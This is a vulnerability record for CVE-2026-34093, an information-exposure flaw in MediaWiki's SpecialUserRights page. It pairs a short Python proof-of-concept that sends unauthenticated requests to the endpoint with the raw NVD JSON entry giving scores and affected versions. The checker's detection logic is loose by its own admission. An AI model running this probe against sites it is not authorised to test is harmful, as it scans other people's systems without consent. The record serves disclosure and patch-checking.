CVE-2026-34093

import requests # POC for CVE-2026-34093 # This script attempts to access the SpecialUserRights page without authentication. # If the server is vulnerable, it may return sensitive information. def check_vulnerability(target_url): # Construct the path to the vulnerable endpoint exploit_path = "/index.php?title=Special:UserRights" full_url = target_url + exploit_path try: # Send a GET request without authentication headers response = requests.get(full_url, timeout=10) # Check if the response contains content indicating unauthorized access # (Adjust the check based on actual vulnerable response characteristics) if response.status_code == 200 and "User rights" in response.text: print("[+] Potential vulnerability detected! Information leaked.") return True else: print("[-] Target does not appear to be vulnerable or access is denied.") return False except Exception as e: print(f"[!] Error occurred: {e}") return False # Example usage if __name__ == "__main__": target = "http://example-mediawiki-site.com" check_vulnerability(target)

{"cve": {"id": "CVE-2026-34093", "sourceIdentifier": "c4f26cc8-17ff-4c99-b5e2-38fc1793eacc", "published": "2026-05-11T18:16:31.963", "lastModified": "2026-05-18T13:53:22.110", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation MediaWiki.\n\n This vulnerability is associated with program files includes/Specials/SpecialUserRights.Php.\n\n\n\nThis issue affects MediaWiki: from * before 1.43.7, 1.44.4, 1.45.2."}], "metrics": {"cvssMetricV40": [{"source": "c4f26cc8-17ff-4c99-b5e2-38fc1793eacc", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:A/V:X/RE:X/U:X", "baseScore": 1.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "AUTOMATIC", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "c4f26cc8-17ff-4c99-b5e2-38fc1793eacc", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mediawiki:mediawiki:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.43.7", "matchCriteriaId": "59C361A8-E45E-4DF3-8E0D-C757AD96B8BF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mediawiki:mediawiki:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.44.0", "versionEndExcluding": "1.44.4", "matchCriteriaId": "09939AF0-D092-467E-8596-280E4E48EAC4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mediawiki:mediawiki:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.45.0", "versionEndExcluding": "1.45.2", "matchCriteriaId": "394E8364-3B3F-41C7-B1C3-0A1867EF3D64"}]}]}], "references": [{"url": "https://phabricator.wikimedia.org/T414547", "source": "c4f26cc8-17ff-4c99-b5e2-38fc1793eacc", "tags": ["Issue Tracking", "Vendor Advisory", "Permissions Required"]}]}}